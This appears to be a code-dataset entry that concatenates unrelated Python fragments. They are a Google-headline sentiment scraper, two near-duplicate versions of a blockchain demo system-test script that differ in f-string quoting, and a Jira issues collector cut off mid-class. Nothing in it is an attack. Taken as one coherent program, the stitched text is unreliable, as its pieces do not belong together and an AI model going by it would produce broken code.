if (os.path.exists(filename)):
logging.info(f"{filename} already exists.")
continue
else:
str_date = str(date)
str_next_date = str_date
logging.info(f"Dates - {str_date} {str_next_date}")
url = "https://www.google.com/search?biw=1658&bih=948&tbs=cdr%3A1%2Ccd_min%3A" + str(str_date[4:6]) + "%2F" + str(str_date[6:]) + "%2F" + str(str_date[0:4]) + "%2Ccd_max%3A" + str(str_next_date[4:6])+ "%2F" + str(str_next_date[6:]) + "%2F" + str(str_next_date[0:4]) + query
logging.info(f"URL - {url}")
options = webdriver.ChromeOptions()
options.add_argument("--start-maximized")
options.add_argument("--headless")
driver = webdriver.Chrome(options=options, executable_path=self.CHROME_WEBDRIVER_PATH)
driver.get(url)
pause_time = 0
last_height = driver.execute_script("return document.body.scrollHeight")
new_height = last_height
pages = driver.find_elements_by_xpath("//*[@id='foot']/span/div/table/tbody/tr/td")
pages = pages[1:len(pages)-1]
logging.info(f"Pages - {pages}")
counter = 1
logging.info(f"Page Count - {len(pages)}")
#check this
if len(pages) == 0:
pages = [0]
hrefs = []
for page in pages:
driver.execute_script("window.scrollTo(0, document.body.scrollHeight);")
time.sleep(pause_time)
link_tags = driver.find_elements_by_xpath("//*[@id='rso']//a")
logging.info(f"Link Tags - {link_tags}")
for tag in link_tags:
logging.info(tag)
if (len(tag.get_attribute('class')) == 0 and (len(tag.text)!=0) and (tag.text != "Create alert") and (tag.text != "Reset search tools") and (tag.text != "Previous") and (tag.text != "Next")):
heading = tag.text.split("\n")[1].encode('ascii', 'ignore').decode("utf-8")
logging.info(f"Heading - {heading}")
hrefs.append(heading)
logging.info(f"Sentence - {tag.text}")
if (new_height == last_height) and (counter < len(pages)):
driver.find_element_by_xpath("//span[text()='Next']").click()
counter += 1
new_height = driver.execute_script("return document.body.scrollHeight")
last_height = new_height
driver.close()
polarity = self.calculate_polarity(hrefs)
self.update_sentiment(ctr, date, polarity, date_sentiment)
ctr += 1
self.save_scraped_data(filename, hrefs, polarity, date, date_sentiment)
return date_sentiment
def update_sentiment(self, counter, date, polarity, date_sentiment):
date_sentiment["sentiment"][counter] = polarity
def calculate_polarity(self, sentences):
polarity = 0
polarities = []
for sentence in sentences:
p = sentiment_scores(sentence)
polarity += p
polarities.append(str(p))
logging.info(f"{sentence} - {polarity}")
if len(sentences) != 0:
polarity = polarity/len(sentences)
return polarity
def save_scraped_data(self, filename, sentences, polarity, date, date_sentiment):
if not os.path.exists(self.DIRECTORY_NAME):
try:
os.mkdir(self.DIRECTORY_NAME)
except OSError:
logging.info("Creation of the directory {} failed".format(os.path.abspath(self.DIRECTORY_NAME)))
else:
logging.info("Successfully created the directory {} ".format(os.path.abspath(self.DIRECTORY_NAME)))
sentiments = date_sentiment["sentiment"]
logging.info(f"JSON Filename - {filename}")
ticker_headline_dict = {
"headlines_count": len(sentences),
"headlines": sentences,
"polarity": polarity
}
logging.info(f"JSON Data - {ticker_headline_dict}")
with open(filename, 'w') as json_file:
headlines_obj = json.dumps(ticker_headline_dict, indent=4, sort_keys=True) #, csv_file, indent=4, sort_keys=True)
json_file.write(headlines_obj)
def save_sentiment_csv(self, dates, date_sentiment):
#iterate through all JSON within company directory
#store polarity in CSV file for all dates
counter = 0
for date in dates:
json_filename = os.path.join(self.DIRECTORY_NAME, str(date) + ".json")
if(os.path.exists(json_filename)):
with open(json_filename) as f:
data = json.load(f)
date_sentiment['sentiment'][counter] = data['polarity']
counter += 1
logging.info(f"Date Sentiment - {date_sentiment}")
dates_df = pd.DataFrame(date_sentiment)
SENTIMENT_FILE_PATH = os.path.join(self.DIRECTORY_NAME, 'sentiment_' + self.TICKER + '.csv')
dates_df.to_csv(SENTIMENT_FILE_PATH)
logging.info(f"Saved Sentiment CSV - {SENTIMENT_FILE_PATH}") |
import json
import logging
import time
from pathlib import Path
from eosapi import Client
import click
import requests
from haiku_node.blockchain_helpers.accounts import (
AccountManager, make_default_accounts, create_public_data)
from haiku_node.blockchain.eos.mother import UnificationMother
from haiku_node.blockchain.eos.uapp import UnificationUapp
from haiku_node.blockchain.eos.und_rewards import UndRewards
from haiku_node.client import HaikuDataClient, Provider
from haiku_node.config.config import UnificationConfig
from haiku_node.encryption.merkle.merkle_tree import MerkleTree
from haiku_node.encryption.payload import bundle
from haiku_node.keystore.keystore import UnificationKeystore
from haiku_node.network.eos import (get_eos_rpc_client,
get_cleos, get_ipfs_client)
from haiku_node.permissions.perm_batch_db import (
default_db as pb_default_db, PermissionBatchDatabase)
from haiku_node.permissions.permissions import UnifPermissions
demo_config = json.loads(Path('data/demo_config.json').read_text())
password_d = demo_config["system"]
log = logging.getLogger('haiku_node')
def init_logging():
log.setLevel(logging.DEBUG)
ch = logging.StreamHandler()
ch.setLevel(logging.DEBUG)
formatter = logging.Formatter(
'%(asctime)s - %(name)s - %(levelname)s - %(message)s')
ch.setFormatter(formatter)
log.addHandler(ch)
@click.group()
def main():
init_logging()
def systest_auth(requesting_app, providing_app, user):
"""
Ensuring that an incorrectly signed request is rejected.
"""
def broken(d, field):
d[field] = 'unlucky' + d[field][7:]
return d
log.info(f'{requesting_app} is requesting data from {providing_app}')
body = {'users': [user], 'data_id': 'request_hash'}
app_config = demo_config['demo_apps'][providing_app]
port = app_config['rpc_server_port']
eos_client = get_eos_rpc_client()
mother = UnificationMother(eos_client, providing_app, get_cleos(),
get_ipfs_client())
provider_obj = Provider(providing_app, 'https', mother)
encoded_password = demo_config['system'][requesting_app]['password']
ks = UnificationKeystore(encoded_password, app_name=requesting_app,
keystore_path=Path('data/keys'))
payload = bundle(ks, requesting_app, provider_obj.name, body, 'Success')
payload = broken(payload, 'signature')
r = provider_obj.post('data_request', payload)
assert r.status_code == 401
def systest_ingest(requesting_app, providing_app, user, balances):
log.info(f'Testing Fetch ingestion: {requesting_app} '
f'is requesting data from {providing_app}')
request_hash = f'data-request-{providing_app}-{requesting_app}'
app_config = demo_config['demo_apps'][providing_app]
port = app_config['rpc_server_port']
eos_client = get_eos_rpc_client()
mother = UnificationMother(eos_client, providing_app, get_cleos(),
get_ipfs_client())
provider_obj = Provider(providing_app, 'https', mother)
password = demo_config['system'][requesting_app]['password']
encoded_password = str.encode(password)
keystore = UnificationKeystore(encoded_password, app_name=requesting_app,
keystore_path=Path('data/keys'))
conf = UnificationConfig()
eos_client = Client(
nodes=[f"http://{conf["eos_rpc_ip"]}:{conf["eos_rpc_port"]}"])
consumer_uapp_sc = UnificationUapp(eos_client, requesting_app)
price_sched = demo_config['demo_apps'][providing_app]['db_schemas'][0]['price_sched']
latest_req_id = consumer_uapp_sc.init_data_request(provider_obj.name,
"0", "0",
price_sched)
client = HaikuDataClient(keystore)
client.make_data_request(requesting_app, provider_obj, user,
request_hash, latest_req_id)
client.read_data_from_store(provider_obj, request_hash)
# Update the system test record of the balances
balances[requesting_app] = balances[requesting_app] - price_sched
und_rewards = UndRewards(providing_app, price_sched)
balances[providing_app] = (balances[providing_app]
+ und_rewards.calculate_reward(is_user=False))
return balances
def systest_accounts():
log.info('Running systest accounts')
demo_config = json.loads(Path('data/demo_config.json').read_text())
appnames = ['app1', 'app2', 'app3']
usernames = ['user1', 'user2', 'user3', 'unif.mother', 'unif.token']
manager = AccountManager(host=False)
make_default_accounts(manager, demo_config, appnames, usernames)
work_dir = Path('data/public')
create_public_data(manager, work_dir, appnames)
def systest_smart_contract_mother():
log.info('Running systest smart contract MOTHER')
d_conf = json.loads(Path('data/demo_config.json').read_text())
appnames = ['app1', 'app2', 'app3']
d_apps = d_conf['demo_apps']
conf = UnificationConfig()
eos_client = Client(
nodes=[f"http://{conf["eos_rpc_ip"]}:{conf["eos_rpc_port"]}"])
for appname in appnames:
log.info("------------------------------------------")
app_data = d_apps[appname]
log.info(f"Contacting MOTHER for {app_data["eos_sc_account"]}")
mother = UnificationMother(
eos_client, app_data['eos_sc_account'],
get_cleos(), get_ipfs_client())
log.info("App is Valid")
log.info("Expecting: True")
log.info(f"Actual - MOTHER: {mother.valid_app()}")
assert mother.valid_app() is True
log.info("App Code is Valid")
log.info("Expecting: True")
log.info(f"Actual - MOTHER: {mother.valid_code()}")
assert mother.valid_app() is True
log.info("Code Hash")
log.info(
f"Expecting - config.json: {mother.get_deployed_contract_hash()}")
log.info(f"Actual - MOTHER: {mother.get_hash_in_mother()}")
assert (mother.get_deployed_contract_hash()
== mother.get_hash_in_mother()) is True
log.info("RPC IP")
log.info(f"Expecting - config.json: {app_data["rpc_server"]}")
log.info(f"Actual - MOTHER: {mother.get_haiku_rpc_ip()}")
assert (app_data['rpc_server'] == mother.get_haiku_rpc_ip()) is True
log.info("RPC Port")
log.info(f"Expecting - config.json: {app_data["rpc_server_port"]}")
log.info(f"Actual - MOTHER: {mother.get_haiku_rpc_port()}")
assert (int(app_data['rpc_server_port']) == int(
mother.get_haiku_rpc_port())) is True
log.info("------------------------------------------")
def systest_smart_contract_uapp():
log.info('Running systest smart contract UApp')
d_conf = json.loads(Path('data/demo_config.json').read_text())
appnames = ['app1', 'app2', 'app3']
d_apps = d_conf['demo_apps']
conf = UnificationConfig()
eos_client = Client(
nodes=[f"http://{conf["eos_rpc_ip"]}:{conf["eos_rpc_port"]}"])
for appname in appnames:
log.info("------------------------------------------")
app_data = d_apps[appname]
conf_db_schemas = app_data['db_schemas']
uapp_sc = UnificationUapp(eos_client, app_data['eos_sc_account'])
log.info("Check DB Schemas are correctly configured")
for schema_obj in conf_db_schemas:
log.info(f"Check schema {schema_obj["schema_name"]}")
conf_schema = schema_obj['schema']
log.info(f"Expecting - config.json: {conf_schema}")
# version set to 1, since that's the hard coded version used in
# accounts.validate_with_mother
uapp_contract_schema = uapp_sc.get_db_schema_by_pkey(0)
log.info(f"Actual - UApp Smart Contract: "
f"{uapp_contract_schema["schema"]}")
assert (conf_schema == uapp_contract_schema['schema']) is True
def systest_process_permission_batches():
appnames = ['app1', 'app2', 'app3']
for app_name in appnames:
log.debug(f'run systest_process_permission_batches for {app_name}')
mother = UnificationMother(get_eos_rpc_client(), app_name, get_cleos(),
get_ipfs_client())
provider_obj = Provider(app_name, 'https', mother)
password = demo_config['system'][app_name]['password']
encoded_password = str.encode(password)
keystore = UnificationKeystore(encoded_password, app_name=app_name,
keystore_path=Path('data/keys'))
client = HaikuDataClient(keystore)
try:
client.process_permissions_batch(provider_obj)
except Exception as e:
log.error(f'systest_process_permission_batches failed: {e}')
def compile_actors():
users = []
consumers = []
providers = []
for user, app_permission_list in demo_config['demo_permissions'].items():
if user not in users:
users.append(user)
for consumer, providers in app_permission_list.items():
if consumer not in consumers:
consumers.append(consumer)
for provider, permissions in providers.items():
if provider not in providers:
providers.append(provider)
return users, consumers, providers
def systest_check_permission_requests():
ipfs = get_ipfs_client()
users, consumers, providers = compile_actors()
for provider in providers:
log.debug(f'run systest_check_permission_requests'
f' for Provider {provider}')
provider_uapp = UnificationUapp(get_eos_rpc_client(), provider)
permission_db = PermissionBatchDatabase(pb_default_db())
permissions = UnifPermissions(ipfs, provider_uapp, permission_db)
for consumer in consumers:
if consumer != provider:
log.debug(f'Provider {provider}: load permissions '
f'for Consumer {consumer}')
permissions.load_consumer_perms(consumer)
for user in users:
user_permissions = permissions.get_user_perms_for_all_schemas(user)
for schema_id, user_perms in user_permissions.items():
log.debug(f'User {user}, '
f'Schema {schema_id}: {user_perms}')
is_valid = permissions.verify_permission(user_perms)
log.debug(f'Perm sig valid: {is_valid}')
assert is_valid
demo_conf_check = demo_config['demo_permissions'][user][consumer][provider]
demo_conf_fields = demo_conf_check['fields']
demo_conf_granted = demo_conf_check['granted']
demo_conf_schema_id = demo_conf_check['schema_id']
assert int(demo_conf_schema_id) == int(schema_id)
if demo_conf_granted:
log.debug("Permission granted")
log.debug(f"Demo fields: {demo_conf_fields}, "
f"recorded fields: "
f"{user_perms["perms"]}")
assert demo_conf_fields == user_perms['perms']
else:
log.debug("Permission not granted. Recorded "
"perms should be empty")
log.debug(f"Recorded fields: "
f"{user_perms["perms"]}")
assert user_perms['perms'] == ''
def systest_merkle_proof_permissions():
ipfs = get_ipfs_client()
users, consumers, providers = compile_actors()
for provider in providers:
log.debug(f'run systest_merkle_proof_'
f'permissions for Provider {provider}')
provider_uapp = UnificationUapp(get_eos_rpc_client(), provider)
permission_db = PermissionBatchDatabase(pb_default_db())
permissions = UnifPermissions(ipfs, provider_uapp, permission_db)
for consumer in consumers:
if consumer != provider:
log.debug(f'Provider {provider}: load '
f'permissions for Consumer {consumer}')
permissions.load_consumer_perms(consumer)
permissions_obj = permissions.get_all_perms()
tree = MerkleTree()
for user, perm in permissions_obj['permissions'].items():
for schema_id, schema_perm in perm.items():
tree.add_leaf(json.dumps(schema_perm))
tree.grow_tree()
log.debug(f"Generated merkle root: {tree.get_root_str()}")
log.debug(f"Recorded merkle root: "
f"{permissions_obj["merkle_root"]}")
for user, perm in permissions_obj['permissions'].items():
for schema_id, schema_perm in perm.items():
requested_leaf = json.dumps(schema_perm)
proof_chain = tree.get_proof(requested_leaf,
is_hashed=False)
log.debug(f'Permission leaf for {user}:'
f' {requested_leaf}')
log.debug(f'Proof chain for {user} - '
f'Schema {schema_id} '
f'permission leaf: '
f'{json.dumps(proof_chain)}')
# simulate only having access to leaf,
# root and proof chain for leaf
verify_tree = MerkleTree()
is_good = verify_tree.verify_leaf(requested_leaf,
permissions_obj['merkle_root'],
proof_chain,
is_hashed=False)
log.debug(f'Leaf is valid: {is_good}')
assert is_good
def completion_banner():
return '\n' \
'==============================================\n' \
'= HAIKU NODE PROTOTYPE INITIALISED AND READY =\n' \
'= ------------------------------------------ =\n' \
'= You can now interact with the demo =\n' \
'= system. Read the wiki for more details =\n' \
'= on how to interact with the demo =\n' \
'==============================================\n'
@main.command()
def wait():
"""
Wait for the system to come up.
"""
log.info('Waiting for the system to come up')
time.sleep(5)
# create EOS accounts
log.info('Create EOS Accounts')
systest_accounts()
time.sleep(20)
# Deploy and populate Smart Contracts
log.info('Ensure accounts are created, and contracts populated')
systest_smart_contract_mother()
systest_smart_contract_uapp()
systest_process_permission_batches()
time.sleep(3)
systest_check_permission_requests()
systest_merkle_proof_permissions()
manager = AccountManager(host=False)
# First ensure that an incorrectly signed request is rejected
log.info('run systest_auth')
systest_auth('app1', 'app2', 'user1')
balances = {}
for k, d in demo_config['demo_apps'].items():
balances[d['eos_sc_account']] = d['und_rewards']['start_balance']
log.info('run systest_ingest')
balances = systest_ingest('app1', 'app2', 'user1', balances)
balances = systest_ingest('app2', 'app1', 'user1', balances)
balances = systest_ingest('app3', 'app1', 'user1', balances)
balances = systest_ingest('app3', 'app2', 'user2', balances)
time.sleep(1)
for app, balance in balances.items():
log.info(f"App {app} has a balance of {balance} UND")
assert manager.get_und_rewards(app) == balance
# The User3 has denied access to for app2 to access data on app 1
# balances = systest_ingest('app2', 'app1', 'user3', balances)
# TODO: User denied requests have granular balance effects
log.info(completion_banner())
# Run forever, so that one can exec into the container
while True:
time.sleep(6000)
if __name__ == "__main__":
main()
| import json
import logging
import time
from pathlib import Path
from eosapi import Client
import click
import requests
from haiku_node.blockchain_helpers.accounts import (
AccountManager, make_default_accounts, create_public_data)
from haiku_node.blockchain.eos.mother import UnificationMother
from haiku_node.blockchain.eos.uapp import UnificationUapp
from haiku_node.blockchain.eos.und_rewards import UndRewards
from haiku_node.client import HaikuDataClient, Provider
from haiku_node.config.config import UnificationConfig
from haiku_node.encryption.merkle.merkle_tree import MerkleTree
from haiku_node.encryption.payload import bundle
from haiku_node.keystore.keystore import UnificationKeystore
from haiku_node.network.eos import (get_eos_rpc_client,
get_cleos, get_ipfs_client)
from haiku_node.permissions.perm_batch_db import (
default_db as pb_default_db, PermissionBatchDatabase)
from haiku_node.permissions.permissions import UnifPermissions
demo_config = json.loads(Path('data/demo_config.json').read_text())
password_d = demo_config["system"]
log = logging.getLogger('haiku_node')
def init_logging():
log.setLevel(logging.DEBUG)
ch = logging.StreamHandler()
ch.setLevel(logging.DEBUG)
formatter = logging.Formatter(
'%(asctime)s - %(name)s - %(levelname)s - %(message)s')
ch.setFormatter(formatter)
log.addHandler(ch)
@click.group()
def main():
init_logging()
def systest_auth(requesting_app, providing_app, user):
"""
Ensuring that an incorrectly signed request is rejected.
"""
def broken(d, field):
d[field] = 'unlucky' + d[field][7:]
return d
log.info(f'{requesting_app} is requesting data from {providing_app}')
body = {'users': [user], 'data_id': 'request_hash'}
app_config = demo_config['demo_apps'][providing_app]
port = app_config['rpc_server_port']
eos_client = get_eos_rpc_client()
mother = UnificationMother(eos_client, providing_app, get_cleos(),
get_ipfs_client())
provider_obj = Provider(providing_app, 'https', mother)
encoded_password = demo_config['system'][requesting_app]['password']
ks = UnificationKeystore(encoded_password, app_name=requesting_app,
keystore_path=Path('data/keys'))
payload = bundle(ks, requesting_app, provider_obj.name, body, 'Success')
payload = broken(payload, 'signature')
r = provider_obj.post('data_request', payload)
assert r.status_code == 401
def systest_ingest(requesting_app, providing_app, user, balances):
log.info(f'Testing Fetch ingestion: {requesting_app} '
f'is requesting data from {providing_app}')
request_hash = f'data-request-{providing_app}-{requesting_app}'
app_config = demo_config['demo_apps'][providing_app]
port = app_config['rpc_server_port']
eos_client = get_eos_rpc_client()
mother = UnificationMother(eos_client, providing_app, get_cleos(),
get_ipfs_client())
provider_obj = Provider(providing_app, 'https', mother)
password = demo_config['system'][requesting_app]['password']
encoded_password = str.encode(password)
keystore = UnificationKeystore(encoded_password, app_name=requesting_app,
keystore_path=Path('data/keys'))
conf = UnificationConfig()
eos_client = Client(
nodes=[f"http://{conf['eos_rpc_ip']}:{conf['eos_rpc_port']}"])
consumer_uapp_sc = UnificationUapp(eos_client, requesting_app)
price_sched = demo_config['demo_apps'][providing_app]['db_schemas'][0]['price_sched']
latest_req_id = consumer_uapp_sc.init_data_request(provider_obj.name,
"0", "0",
price_sched)
client = HaikuDataClient(keystore)
client.make_data_request(requesting_app, provider_obj, user,
request_hash, latest_req_id)
client.read_data_from_store(provider_obj, request_hash)
# Update the system test record of the balances
balances[requesting_app] = balances[requesting_app] - price_sched
und_rewards = UndRewards(providing_app, price_sched)
balances[providing_app] = (balances[providing_app]
+ und_rewards.calculate_reward(is_user=False))
return balances
def systest_accounts():
log.info('Running systest accounts')
demo_config = json.loads(Path('data/demo_config.json').read_text())
appnames = ['app1', 'app2', 'app3']
usernames = ['user1', 'user2', 'user3', 'unif.mother', 'unif.token']
manager = AccountManager(host=False)
make_default_accounts(manager, demo_config, appnames, usernames)
work_dir = Path('data/public')
create_public_data(manager, work_dir, appnames)
def systest_smart_contract_mother():
log.info('Running systest smart contract MOTHER')
d_conf = json.loads(Path('data/demo_config.json').read_text())
appnames = ['app1', 'app2', 'app3']
d_apps = d_conf['demo_apps']
conf = UnificationConfig()
eos_client = Client(
nodes=[f"http://{conf['eos_rpc_ip']}:{conf['eos_rpc_port']}"])
for appname in appnames:
log.info("------------------------------------------")
app_data = d_apps[appname]
log.info(f"Contacting MOTHER for {app_data['eos_sc_account']}")
mother = UnificationMother(
eos_client, app_data['eos_sc_account'],
get_cleos(), get_ipfs_client())
log.info("App is Valid")
log.info("Expecting: True")
log.info(f"Actual - MOTHER: {mother.valid_app()}")
assert mother.valid_app() is True
log.info("App Code is Valid")
log.info("Expecting: True")
log.info(f"Actual - MOTHER: {mother.valid_code()}")
assert mother.valid_app() is True
log.info("Code Hash")
log.info(
f"Expecting - config.json: {mother.get_deployed_contract_hash()}")
log.info(f"Actual - MOTHER: {mother.get_hash_in_mother()}")
assert (mother.get_deployed_contract_hash()
== mother.get_hash_in_mother()) is True
log.info("RPC IP")
log.info(f"Expecting - config.json: {app_data['rpc_server']}")
log.info(f"Actual - MOTHER: {mother.get_haiku_rpc_ip()}")
assert (app_data['rpc_server'] == mother.get_haiku_rpc_ip()) is True
log.info("RPC Port")
log.info(f"Expecting - config.json: {app_data['rpc_server_port']}")
log.info(f"Actual - MOTHER: {mother.get_haiku_rpc_port()}")
assert (int(app_data['rpc_server_port']) == int(
mother.get_haiku_rpc_port())) is True
log.info("------------------------------------------")
def systest_smart_contract_uapp():
log.info('Running systest smart contract UApp')
d_conf = json.loads(Path('data/demo_config.json').read_text())
appnames = ['app1', 'app2', 'app3']
d_apps = d_conf['demo_apps']
conf = UnificationConfig()
eos_client = Client(
nodes=[f"http://{conf['eos_rpc_ip']}:{conf['eos_rpc_port']}"])
for appname in appnames:
log.info("------------------------------------------")
app_data = d_apps[appname]
conf_db_schemas = app_data['db_schemas']
uapp_sc = UnificationUapp(eos_client, app_data['eos_sc_account'])
log.info("Check DB Schemas are correctly configured")
for schema_obj in conf_db_schemas:
log.info(f"Check schema {schema_obj['schema_name']}")
conf_schema = schema_obj['schema']
log.info(f"Expecting - config.json: {conf_schema}")
# version set to 1, since that's the hard coded version used in
# accounts.validate_with_mother
uapp_contract_schema = uapp_sc.get_db_schema_by_pkey(0)
log.info(f"Actual - UApp Smart Contract: "
f"{uapp_contract_schema['schema']}")
assert (conf_schema == uapp_contract_schema['schema']) is True
def systest_process_permission_batches():
appnames = ['app1', 'app2', 'app3']
for app_name in appnames:
log.debug(f'run systest_process_permission_batches for {app_name}')
mother = UnificationMother(get_eos_rpc_client(), app_name, get_cleos(),
get_ipfs_client())
provider_obj = Provider(app_name, 'https', mother)
password = demo_config['system'][app_name]['password']
encoded_password = str.encode(password)
keystore = UnificationKeystore(encoded_password, app_name=app_name,
keystore_path=Path('data/keys'))
client = HaikuDataClient(keystore)
try:
client.process_permissions_batch(provider_obj)
except Exception as e:
log.error(f'systest_process_permission_batches failed: {e}')
def compile_actors():
users = []
consumers = []
providers = []
for user, app_permission_list in demo_config['demo_permissions'].items():
if user not in users:
users.append(user)
for consumer, providers in app_permission_list.items():
if consumer not in consumers:
consumers.append(consumer)
for provider, permissions in providers.items():
if provider not in providers:
providers.append(provider)
return users, consumers, providers
def systest_check_permission_requests():
ipfs = get_ipfs_client()
users, consumers, providers = compile_actors()
for provider in providers:
log.debug(f'run systest_check_permission_requests'
f' for Provider {provider}')
provider_uapp = UnificationUapp(get_eos_rpc_client(), provider)
permission_db = PermissionBatchDatabase(pb_default_db())
permissions = UnifPermissions(ipfs, provider_uapp, permission_db)
for consumer in consumers:
if consumer != provider:
log.debug(f'Provider {provider}: load permissions '
f'for Consumer {consumer}')
permissions.load_consumer_perms(consumer)
for user in users:
user_permissions = permissions.get_user_perms_for_all_schemas(user)
for schema_id, user_perms in user_permissions.items():
log.debug(f'User {user}, '
f'Schema {schema_id}: {user_perms}')
is_valid = permissions.verify_permission(user_perms)
log.debug(f'Perm sig valid: {is_valid}')
assert is_valid
demo_conf_check = demo_config['demo_permissions'][user][consumer][provider]
demo_conf_fields = demo_conf_check['fields']
demo_conf_granted = demo_conf_check['granted']
demo_conf_schema_id = demo_conf_check['schema_id']
assert int(demo_conf_schema_id) == int(schema_id)
if demo_conf_granted:
log.debug("Permission granted")
log.debug(f"Demo fields: {demo_conf_fields}, "
f"recorded fields: "
f"{user_perms['perms']}")
assert demo_conf_fields == user_perms['perms']
else:
log.debug("Permission not granted. Recorded "
"perms should be empty")
log.debug(f"Recorded fields: "
f"{user_perms['perms']}")
assert user_perms['perms'] == ''
def systest_merkle_proof_permissions():
ipfs = get_ipfs_client()
users, consumers, providers = compile_actors()
for provider in providers:
log.debug(f'run systest_merkle_proof_'
f'permissions for Provider {provider}')
provider_uapp = UnificationUapp(get_eos_rpc_client(), provider)
permission_db = PermissionBatchDatabase(pb_default_db())
permissions = UnifPermissions(ipfs, provider_uapp, permission_db)
for consumer in consumers:
if consumer != provider:
log.debug(f'Provider {provider}: load '
f'permissions for Consumer {consumer}')
permissions.load_consumer_perms(consumer)
permissions_obj = permissions.get_all_perms()
tree = MerkleTree()
for user, perm in permissions_obj['permissions'].items():
for schema_id, schema_perm in perm.items():
tree.add_leaf(json.dumps(schema_perm))
tree.grow_tree()
log.debug(f"Generated merkle root: {tree.get_root_str()}")
log.debug(f"Recorded merkle root: "
f"{permissions_obj['merkle_root']}")
for user, perm in permissions_obj['permissions'].items():
for schema_id, schema_perm in perm.items():
requested_leaf = json.dumps(schema_perm)
proof_chain = tree.get_proof(requested_leaf,
is_hashed=False)
log.debug(f'Permission leaf for {user}:'
f' {requested_leaf}')
log.debug(f'Proof chain for {user} - '
f'Schema {schema_id} '
f'permission leaf: '
f'{json.dumps(proof_chain)}')
# simulate only having access to leaf,
# root and proof chain for leaf
verify_tree = MerkleTree()
is_good = verify_tree.verify_leaf(requested_leaf,
permissions_obj['merkle_root'],
proof_chain,
is_hashed=False)
log.debug(f'Leaf is valid: {is_good}')
assert is_good
def completion_banner():
return '\n' \
'==============================================\n' \
'= HAIKU NODE PROTOTYPE INITIALISED AND READY =\n' \
'= ------------------------------------------ =\n' \
'= You can now interact with the demo =\n' \
'= system. Read the wiki for more details =\n' \
'= on how to interact with the demo =\n' \
'==============================================\n'
@main.command()
def wait():
"""
Wait for the system to come up.
"""
log.info('Waiting for the system to come up')
time.sleep(5)
# create EOS accounts
log.info('Create EOS Accounts')
systest_accounts()
time.sleep(20)
# Deploy and populate Smart Contracts
log.info('Ensure accounts are created, and contracts populated')
systest_smart_contract_mother()
systest_smart_contract_uapp()
systest_process_permission_batches()
time.sleep(3)
systest_check_permission_requests()
systest_merkle_proof_permissions()
manager = AccountManager(host=False)
# First ensure that an incorrectly signed request is rejected
log.info('run systest_auth')
systest_auth('app1', 'app2', 'user1')
balances = {}
for k, d in demo_config['demo_apps'].items():
balances[d['eos_sc_account']] = d['und_rewards']['start_balance']
log.info('run systest_ingest')
balances = systest_ingest('app1', 'app2', 'user1', balances)
balances = systest_ingest('app2', 'app1', 'user1', balances)
balances = systest_ingest('app3', 'app1', 'user1', balances)
balances = systest_ingest('app3', 'app2', 'user2', balances)
time.sleep(1)
for app, balance in balances.items():
log.info(f"App {app} has a balance of {balance} UND")
assert manager.get_und_rewards(app) == balance
# The User3 has denied access to for app2 to access data on app 1
# balances = systest_ingest('app2', 'app1', 'user3', balances)
# TODO: User denied requests have granular balance effects
log.info(completion_banner())
# Run forever, so that one can exec into the container
while True:
time.sleep(6000)
if __name__ == "__main__":
main()
|
"""Jira issues collector."""
import itertools
import re
from base_collectors import SourceCollector
from collector_utilities.type import URL, Value
from model import Entities, Entity, SourceMeasurement, SourceResponses
class JiraIssues(SourceCollector):
"""Jira collector for issues."""
SPRINT_NAME_RE = re.compile(r",name=(.*),startDate=")
MAX_RESULTS = 500 # Maximum number of issues to retrieve per page. Jira allows at most 500.
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self._field_ids = {}
async def _api_url(self) -> URL:
"""Extend to get the fields from Jira and create a field name to field id mapping."""
url = await super()._api_url()
fields_url = URL(f"{url}/rest/api/2/field")
response = (await super()._get_source_responses(fields_url))[0]
self._field_ids = {field["name"].lower(): field["id"] for field in await response.json()}
jql = str(self._parameter("jql", quote=True))
fields = self._fields()
return URL(f"{url}/rest/api/2/search?jql={jql}&fields={fields}&maxResults={self.MAX_RESULTS}")
async def _landing_url(self, responses: SourceResponses) -> URL:
"""Extend to add the JQL query to the landing URL."""
url = await super()._landing_url(responses)
jql = str(self._parameter("jql", quote=True))
return URL(f"{url}/issues/?jql={jql}")
def _parameter(self, parameter_key: str, quote: bool = False) -> str | list[str]:
"""Extend to replace field names with field ids, if the parameter is a field."""
parameter_value = super()._parameter(parameter_key, quote)
if parameter_key.endswith("field"):
parameter_value = self._field_ids.get(str(parameter_value).lower(), parameter_value)
return parameter_value
async def _get_source_responses(self, *urls: URL, **kwargs) -> SourceResponses:
"""Extend to implement pagination."""
all_responses = SourceResponses(api_url=urls[0])
for start_at in itertools.count(0, self.MAX_RESULTS): # pragma: no cover
responses = await super()._get_source_responses(URL(f"{urls[0]}&startAt={start_at}"), **kwargs)
if issues := await self._issues(responses):
all_responses.extend(responses)
if len(issues) < self.MAX_RESULTS:
break # We got fewer than the maximum number of issues per page, so we know we're done
return all_responses
async def _parse_source_responses(self, responses: SourceResponses) -> SourceMeasurement:
"""Override to get the issues from the responses."""
url = URL(str(self._parameter("url")))
issues = await self._issues(responses)
entities = Entities(self._create_entity(issue, url) for issue in issues if self._include_issue(issue))
return SourceMeasurement(value=self._compute_value(entities), entities=entities)
@staticmethod
async def _issues(responses: SourceResponses):
"""Return the issues from the responses."""
issues = []
for response in responses:
json = await response.json()
issues.extend(json.get("issues", []))
return issues
@classmethod
def _compute_value(cls, entities: Entities) -> Value: # pylint: disable=unused-argument
"""Allow subclasses to compute the value from the entities."""
return None
def _create_entity(self, issue: dict, url: URL) -> Entity: # pylint: disable=no-self-use
"""Create an entity from a Jira issue."""
# Jira issues have a key and an id. The key consist of the project code and a number, e.g. FOO-42. This means
# the issue key changes when the issue is moved to another project. The id is an internal key and does not
# change. Hence, we display the issue key in the UI (issue_key below) but use the id as entity key. This makes
# sure that when users mark an issue as false positive, it remains false positive even the issue is moved to
# another project and the issue key changes.
fields = issue["fields"]
entity_attributes = dict(
issue_key=issue["key"],
created=fields["created"],
priority=fields.get("priority", {}).get("name"),
status=fields.get("status", {}).get("name"),
summary=fields["summary"],
type=fields.get("issuetype", {}).get("name", "Unknown issue type"),
updated=fields.get("updated"),
url=f"{url}/browse/{issue["key"]}",
)
if sprint_field_id := self._field_ids.get("sprint"):
entity_attributes["sprint"] = self.__get_sprint_names(fields.get(sprint_field_id) or [])
return Entity(key=issue["id"], **entity_attributes)
def _include_issue(self, issue: dict) -> bool: # pylint: disable=no-self-use,unused-argument
"""Return whether this issue should be counted."""
return True
def _fields(self) -> str: # pylint: disable=no-self-use
"""Return the fields to get from Jira."""
sprint_field_id = self._field_ids.get("sprint")
return "issuetype,summary,created,updated,status,priority" + (f",{sprint_field_id}" if sprint_field_id else "")
@classmethod
